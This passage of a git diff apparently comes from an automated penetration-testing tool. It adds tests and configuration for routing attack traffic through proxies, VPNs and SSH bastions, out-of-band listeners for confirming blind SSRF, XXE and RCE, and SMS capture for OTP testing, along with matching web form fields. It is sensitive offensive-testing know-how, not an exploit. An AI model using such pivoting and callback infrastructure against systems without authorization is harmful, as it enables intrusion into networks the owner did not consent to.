Egress::parse("socks5://127.0.0.1:1080").unwrap(), + Egress::Socks { addr: "127.0.0.1:1080".into() } + ); + assert_eq!( + Egress::parse("http://127.0.0.1:8080").unwrap(), + Egress::HttpProxy { url: "http://127.0.0.1:8080".into() } + ); + assert_eq!( + Egress::parse("openvpn:/etc/client.ovpn").unwrap(), + Egress::OpenVpn { config: "/etc/client.ovpn".into() } + ); + assert_eq!( + Egress::parse("cloudflared://db.internal.corp:5432").unwrap(), + Egress::Cloudflared { hostname: "db.internal.corp".into(), local_port: 5432 } + ); + } + + #[test] + fn a_bastion_is_a_socks_proxy_unless_one_host_was_authorized() { + let dynamic = Egress::parse("ssh://red@bastion.corp:22").unwrap(); + assert_eq!(dynamic.proxy_url().as_deref(), Some("socks5h://127.0.0.1:1080")); + + // A single authorized host gets a local forward, and deliberately NO + // proxy: routing everything through it would put traffic on hosts the + // client did not agree to. + let scoped = Egress::parse("ssh://red@bastion.corp?forward=10.0.0.5:445").unwrap(); + assert_eq!(scoped.proxy_url(), None); + match scoped { + Egress::Bastion { forward, .. } => assert_eq!(forward.as_deref(), Some("10.0.0.5:445")), + _ => panic!("expected a bastion"), + } + } + + #[test] + fn malformed_specs_are_refused_rather_than_guessed() { + assert!(Egress::parse("socks5://nohost").is_err()); + assert!(Egress::parse("ssh://bastion.corp").is_err(), "no user is ambiguous"); + assert!(Egress::parse("ssh://red@bastion?socks=notaport").is_err()); + assert!(Egress::parse("ssh://red@bastion?wat=1").is_err()); + assert!(Egress::parse("openvpn:").is_err()); + assert!(Egress::parse("carrier-pigeon://x").is_err()); + } + + #[test] + fn internal_addresses_are_recognised_across_their_many_shapes() { + for t in [ + "10.20.0.15", + "https://192.168.1.1/admin", + "172.16.4.9:8080", + "100.64.3.2", + "127.0.0.1", + "localhost", + "dc01.corp", + "fileserver", + "https://app.internal/", + "[fd00::1]:445", + "fe80::1", + ] { + assert!(is_internal(t), "{t} should count as internal"); + } + for t in ["example.com", "https://arenahockeypara.com.br/", "8.8.8.8", "203.0.113.7"] { + assert!(!is_internal(t), "{t} should not count as internal"); + } + } + + #[test] + fn an_internal_target_without_a_transport_is_refused() { + let direct = Transport::direct(); + let err = direct.admits("10.20.0.15").unwrap_err(); + assert!(err.contains("internal address")); + // The same address through a bastion is fine — that is what the + // bastion is for. + let viassh = Transport::new(Egress::parse("ssh://red@bastion.corp").unwrap()); + assert!(viassh.admits("10.20.0.15").is_ok()); + // And an external target needs nothing. + assert!(direct.admits("https://example.com").is_ok()); + } + + #[test] + fn child_processes_inherit_the_same_route() { + let socks = Transport::new(Egress::parse("socks5://127.0.0.1:9050").unwrap()); + assert_eq!(socks.env(), vec![("ALL_PROXY".to_string(), "socks5h://127.0.0.1:9050".to_string())]); + + let http = Transport::new(Egress::parse("http://127.0.0.1:8080").unwrap()); + let env = http.env(); + assert!(env.iter().any(|(k, _)| k == "HTTPS_PROXY"), "curl and friends need both"); + assert!(env.iter().any(|(k, _)| k == "HTTP_PROXY")); + + // A VPN changes the host's routing table, so there is nothing to pass + // down — and inventing a proxy variable here would break every child. + assert!(Transport::new(Egress::OpenVpn { config: "/x.ovpn".into() }).env().is_empty()); + } + + #[tokio::test] + async fn verify_fails_when_the_address_did_not_change() { + // A VPN that silently dropped still answers — with the operator's own + // address. Same IP as the baseline means the tunnel is not carrying + // traffic, whatever the process table says. + let t = Transport::new(Egress::OpenVpn { config: "/nonexistent.ovpn".into() }); + // No network in tests: the error path is the assertion. What matters is + // that an unchanged address is treated as failure, not success. + let err = t.verify(Some("203.0.113.10")).await; + assert!(err.is_err() || err.unwrap() != "203.0.113.10"); + } +} diff --git a/neurosploit-rs/crates/harness/src/types.rs b/neurosploit-rs/crates/harness/src/types.rs index d8359d3..d30f428 100644 --- a/neurosploit-rs/crates/harness/src/types.rs +++ b/neurosploit-rs/crates/harness/src/types.rs @@ -236,6 +236,26 @@ pub struct RunConfig { /// Engagement policy: risk ceilings, reasoning rules, proof requirements. #[serde(default)] pub policy: crate::policy::EngagementPolicy, + /// Egress route (`direct`, `socks5://…`, `openvpn:…`, `ssh://user@host`, + /// `cloudflared://host:port`). An internal target with no transport is + /// refused rather than tested against whatever network this host is on. + #[serde(default)] + pub transport: Option, + /// Out-of-band interaction domain (a wildcard pointed at our listeners). + /// Without it the blind classes — SSRF, XXE, blind RCE — cannot be proven, + /// only suspected. + #[serde(default)] + pub oob_domain: Option, + /// Where the OOB HTTP listener binds. + #[serde(default)] + pub oob_http: Option, + /// Where the OOB DNS listener binds, when the DNS channel is delegated. + #[serde(default)] + pub oob_dns: Option, + /// Inbound SMS for OTP and rate-limit work: `twilio:::` + /// or `webhook::`. + #[serde(default)] + pub sms: Option, /// How much compute to spend and where. Defaults to unlimited, which is the /// behaviour that existed before budgets — an operator who asks for nothing /// gets the full run. @@ -287,6 +307,11 @@ impl RunConfig { capability: None, policy: Default::default(), budget: Default::default(), + transport: None, + oob_domain: None, + oob_http: None, + oob_dns: None, + sms: None, } } } diff --git a/web/public/app.js b/web/public/app.js index 4eaee45..e5ecc55 100644 --- a/web/public/app.js +++ b/web/public/app.js @@ -28,7 +28,7 @@ const state = { auth: { header: '', roles: [] }, credsPath: '', // Engagement authorization: the grant, plus settings that may only narrow it. - authz: { capability: '', inScope: '', environment: 'production', policyProfile: 'web' }, + authz: { capability: '', inScope: '', environment: 'production', policyProfile: 'web', transport: '', oobDomain: '', oobHttp: '', oobDns: '', sms: '' }, keys: [], runs: [], currentJob: null, @@ -471,6 +471,8 @@ function renderReview() { { k: 'Custom leads', v: String(state.customLeads.length) }, { k: 'Votes / chain / recon', v: `${$('#fieldVotes').value} / ${$('#fieldChain').value} / ${$('#fieldRecon').value}` }, { k: 'Budget', v: budgetSummary() }, + { k: 'Egress', v: state.authz.transport || 'direct' }, + { k: 'Out-of-band', v: state.authz.oobDomain ? `*.${state.authz.oobDomain}` : 'none — blind classes stay leads' }, { k: 'Target auth', v: state.auth.header ? 'header set' : (state.auth.roles.length ? `${state.auth.roles.length} role(s)` : 'none') }, ]; $('#reviewGrid').innerHTML = items.map((it) => ` @@ -522,6 +524,11 @@ async function startExploitation() { inScope: state.authz.inScope.split(/[,;\s]+/).filter(Boolean), environment: state.authz.environment, policyProfile: state.authz.policyProfile, + transport: state.authz.transport || undefined, + oobDomain: state.authz.oobDomain || undefined, + oobHttp: state.authz.oobHttp || undefined, + oobDns: state.authz.oobDns || undefined, + sms: state.authz.sms || undefined, }; $('#btnLaunch').disabled = true; @@ -1711,6 +1718,11 @@ $('#capToken').addEventListener('input', (e) => { $('#inScope').addEventListener('input', (e) => { state.authz.inScope = e.target.value; }); $('#envSelect').addEventListener('change', (e) => { state.authz.environment = e.target.value; }); $('#policySelect').addEventListener('change', (e) => { state.authz.policyProfile = e.target.value; }); +// Egress and OOB live with authorization, not with run settings: they decide +// WHICH network is being tested, which is an authorization question. +for (const [id, key] of [['transportSpec', 'transport'], ['oobDomain', 'oobDomain'], ['oobHttp', 'oobHttp'], ['oobDns', 'oobDns'], ['smsSpec', 'sms']]) { + $(`#${id}`).addEventListener('input', (e) => { state.authz[key] = e.target.value.trim(); }); +} function renderRoleList() { const root = $('#roleList'); diff --git a/web/public/index.html b/web/public/index.html index 22d7392..f03bdfb 100644 --- a/web/public/index.html +++ b/web/public/index.html @@ -460,6 +460,38 @@
OT blocks writes, disruptive actions, fuzzing and exploit payloads over industrial protocols, and caps the rate at ~1 req/s.
+ +
Egress & out-of-band
+
+ + +
+ An internal target with no transport is refused, not tested — with the VPN down, + 10.20.0.15 belongs to whatever network this host is on, which is not the client's. +
+
+
+
+ + +
A wildcard pointed at this host. Without it blind SSRF/XXE/RCE can only be reported as leads — never confirmed.
+
+
+ + +
Where callbacks land. An HTTP callback proves egress; a DNS query alone does not.
+
+
+ + +
Only if the zone is delegated here (NS record).
+
+
+
+ + +
A throttling claim counts delivered messages carrying distinct codes, not HTTP 200s.
+